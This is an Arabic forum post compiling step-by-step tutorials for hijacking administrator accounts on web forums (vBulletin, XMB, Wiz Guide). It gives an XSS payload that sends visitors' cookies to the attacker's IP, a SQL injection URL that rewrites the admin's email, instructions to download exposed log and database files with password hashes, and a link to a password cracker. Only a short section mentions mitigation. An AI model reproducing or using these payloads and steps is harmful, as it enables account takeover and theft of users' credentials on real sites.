بسم الله الرحمن الرحيم

ثغرة لاختراق كل المنتديات وخصوصاvBulletin
======================
بسم الله الرحمن الرحيم

يتمنى الجميع معرفة الطريقة المستخدمة في اختراق المنتديات وخصوصا vBulletin
الطريقة كانت حكرا على عدد قليل جدا من الهاكرز العرب
وانا الان اضع امامكم الطريقة من A Z

--------
مقدمة
--------

الموضوع اختراق ال vBulletin
المتطلبات ::Server تركيب سيرفر على جهازك الشخصي متصفح انترنت اكسبلورر
المستوى متوسط

ملاحظة هذه الطريقة لست لل vBulletin فقط يمكن ان تجربها على انواع اخرى من المنتديات


---------
الثغرة
--------

تنقسم طريقة العمل الى عدة اقسام اولا بعض السكربتات الخبيثة التي تسرق الكوكيز بالاضافة الى جعل المنتدى يستقبل
بيانات من مكان خاطيء لكن يشترط ان يسمح المنتدى باكواد ال HTML

قم بكتابة موضوع جديد او رد في منتدى يدعم ال HTML ثم اكتب اي موضوع والصق بين السطور هذا الكود
<::::::::::::>::::::::::::::::.write('&lt ;im g
src="http://my_ip_address/'+::::::::::::::::.::::::::::::+'">';</::::::::::::>

مع ملاحظة تغير ال IP Adress الى رقم ال IP الخاص بك

وعندما يقوم شخص ما بقراءة محتوى الصفحة فان السكربت الذي قمنا بوضعه سيقوم بتنفيذ الاوامر في جهاز وقراءة جزء
من احد ملفات الكوكيز التي تحتوي على الباسورد الخاصة بالمنتدى ثم يقوم السكربت بتحويل هذه السطور الى رقم
الاي بي الذي قمنا بكتابته سابقا مع ملاحظة انه يجب ان يكون على جهازي سيرفر مثل IIS او Apache او غيرها

وبعد ان تتم العملية بنجاح قم بفتح ملف ال Log الخاص بالسيرفر الذي يحتويه جهازك
مثال لو كان السيرفر اباتشي فتاح المجلد Apche واختر logs واختر Acces Log
ستجد جميع الاوامر التي طلبتها من السيرفر الخ

ابحث عن الكود الخاص بالباسورد مثال

GET/ bbuserid=86;%20bbpassword=dd6169d68822a116cd97e1fb







ddf90622;%20sessionhash=a
4719cd620534914930b86839c4bb5f8;%20bbthreadview[54







20]=1012444064;%20bblastvi
sit=1011983161

فكر قليلا الان اين الباسورد
الباسورد موجودة لكن بطريقة مشفرة يصعب كسرها اذن مالحل
قم بنسخ الكود الذي وجدته والصقه في المتصفح بهذا الشكل
http://www.victim.com/vb/index.php?bbuserid=[userid]&bbpassword=[password hash]
ستجد عبارة " اهلا بعودتك يا اسم الذي سرقت منه الكوكيز.... "
في هذه الحالة انت الان تستطيع التحكم بكل شي وكانك مدير المنتدى الذي سرقت منه الكوكيز
لكننا نحتاج الى كلمة المرور للدخول الى لوحة التحكم اذهب الى التحكم وقم بتعديل البريد الالكتروني الى بريدك الخاص
وثم قم بتسجيل الخروج ثم اذهب الى اداة Forgot Password وعندها تستطيع استقبال بريد يحتوي باسورد الادمن

اعتقد انك تعلم ما يجب ان تفعله بعد ذلك ادخل الى لوحة التحكم وافعل ما تشاء

-----------
الحل
----------

للحماية من هذه الثغرة قم باغلاق ال HTML في المنتدى الرسائل الخاصة التواقيع التقويم .
(واي منفذ يمكن من خلاله وضع كود HTML باي صورة كانت

كما يجب اغلا كود ال IMG لانه ببساطة بامكانك استخدامه بدل كلمة <::::::::::::> فاذا وضعت <img> او <Demon> او
اي كلمة اخرى فانه سيتم تنفيذ السكربت بشكل او باخر . لذا كن حذرا واغلق هذه المنافذ
Be Secret Dont' be Lamer

تاريخ اكتشاف الثغرة 31 1 2002
تم تجربتها على الاصدار 2.2.0 وهي تعمل بنجاح


ارجو ان تستخدموا هذه الطريقة ضد العدو والا تستخدموها ضد اخوانكم العرب والمسلمين




اختراق منتديات VP
==========
اختراق المنتديات بس بمنتديات vb

قم بالتسجيل كعضو مع مراعاة التسجيل ببريد حقيقي

2 تدخل المنتدى كعضو باسم المستخدم وكلمة السر الخاصة بك

3 اضغط على زر الاعضاء الموجود بالاعلي او members

او العنوان التفصيلي التالي
http://URL/memberlist.php

URL = العنوان المستضيف للمنتدى

مثل = com

4 اضغط على اي مستخدم من المستخدمين عشوائيا وستلاحظ ظهور عنوان طويل بالاعلي في مستطيل العناوين address bar

سيظهر لك عنوان يحمل ارقاما واحرفا عشوائية كالشكل التالي

http://URL/member.php?soitgoe68e45u...&userid=266

هذا العنوان الطويل يعني = عرض بيانات المستخدم رقم 266

5 بكل بساطة غير الرقم من 266 الى الرقم واحد هكذا

http://URL/member.php?soitgoe68e45u...fo&userid=1

العضو رقم واحد عادة وافتراضيا يكون هو المدير للمنتدى administrator

(((== ها انت تجتاز الخطوة الاولى بنجاح وتعرف من هو المدير للموقع ==

احفظ اسم المدير حيث انك ستحتاجه بالخطوة التالية

6 اكتب العنوان التالي مع تغيير المتغييرات التي ساذكرها

http://URL/member.php?action=login&....DPASS&url=' ;'.$use rs=$DB_site->query('update+user+set+email='YOUR@EMAIL.HE RE' WH ERE+username='ADMIN'').'

العنوان هذا ستقوم بتغيير الكلمات التالية

URL = كما ذكرنا سابقا الموقع المستضيف للمنتدى
VALIDUSER = اسم المستخدم الخاص بك
VALIDPASS = كلمة السر الخاصة بك
YOUR@EMAIL.HERE = البريد الذي سجلت به بالمنتدى
ADMIN = اسم مدير المنتدى الذي اكتفشته بالخطوة السابقة

7 بعد ان تغيير جميع ما سبق وتتاكد منه تقوم بعمل انعاش للمنتدى عدة مرات ::::::

8 ثم ترجع لصفحة المنتدى الرئيسية
http://url/index.php

ثم حاول الدخول باستخدام اسم المستخدم الخاص بك واستعمال كلمة سر خاطئة يجب ان تكون خاطئة

بالطيع ستظهر لك الصفحة التعيسة التي تقول

انت قمت بكتابة كلمة سر خاطئة

you typed in the wrong password


9 بكل بساطة اضغط على

نسيت كلمة السر
forgot password

والتي ستقوم بارسال كلمة السر الى بريدك الالكتروني

10 افتح بريدك وستجد كلمة السر الخاصة بمدير المنتدى



اختراق منتديات xmb
==========
تعتبر المنتديات من نوع xmb من المنتديات التي اكتيبت شهره واسعه في مجالها وحالها حال الكثير من الانواع الاخرى من المنتديات من وجود الثغرات والاختراقات فلا يوجد شيء كامل على وجه الارض الا الله عز وجل.

وصف للثغره::
وقد تم اكتشاف ثغره جديده في هذا النوع من المنتديات مما يمكنك ان تكون المدير على المنتدى او تكون مشرف اوي اي عضو اخر

الاصدار المصاب:::
XMB 1.6 Magic Lantern Final

الشرح والتطبيق:::
جا وقت الشغل والجد<<< سوف اقوم بتقسيم الدرس على خطوات حتى يفهم ويكون اووضح واسهل:

1 عليك بالذهاب الى موقع جوجل http://www.google.com
2 اكتب في منطقة البحث XMB 1.6 Magic Lantern Final
3 سوف ترى منتديات كثييييييره اكثرها مصابه بهذه الثغره لكن رجااء
لاتقرب المنتديات العربية وعليك بتحذيرها من الثغره الموجوده
4 اضغط على اي منتدى وقم بكتابة الكلمة التالية بعد عنوان المنتدى
index_log.log يعني راح يكون زي كده
http://www.::::::::::::.com/massegboard/index_log.log
5 راح ينزل عندك ملف والملف عباره عن ملف زي الكوكيز كبير وفيه اسماء
المستخدمين والباسورد واشياء ثانيه ماتهمنا
6 الان عليك بالبحث في المنتدى عن اسم المدير وذلك بالذهاب الى المواضيع
وتشوف الاسماء والي تلقى تحت اسمه ادمن ستريتور انسخ اسمه
7 افتح الملف الي نزلته من الموقع وسوي بحث عن اسم المدير راح يجيك زي
كده مثلا::
xmbuser=admin
واباس راح تلقاه قدامه زي كده
xmbpw=1faeb6747a31c854800ddf3c62b1717a
8 طبعا الباس في هذه الحاله مشفر وفك التشفير صعب لهذا الغرض قامت شركة
CCI بتصميم برنامج يقوم بهذا الغرض وهذه وصلت البرنامج
ftp://www.cafecounterintelligence.com/cci/chigger.exe



اختراق منتديات :: Wiz Guide
======================================
مثال:http://host.basharnet.com/forum

بسم الله الرحمن الرحيم

السلام عليكم

الشرح: ثغرة تصيب منتديات :: Wiz Guide

اولا اذهب الى google
اكتب
::: Wiz forum

وانتظر لحد ماتطلع لك المواقع الي تدعم هذا المنتدى ادخل المنتدى واكتب بعد forum
admin/wwforum.mdb

حمل الملف وادخل عليه عن طريق microsoft office access

بعد ماتاخذ باسوورد المشرف العام اذهب الى admin

سجل اسمك والباسوورد

الان انت في لوحة التحكم

منقول

اخوكم\\وطواط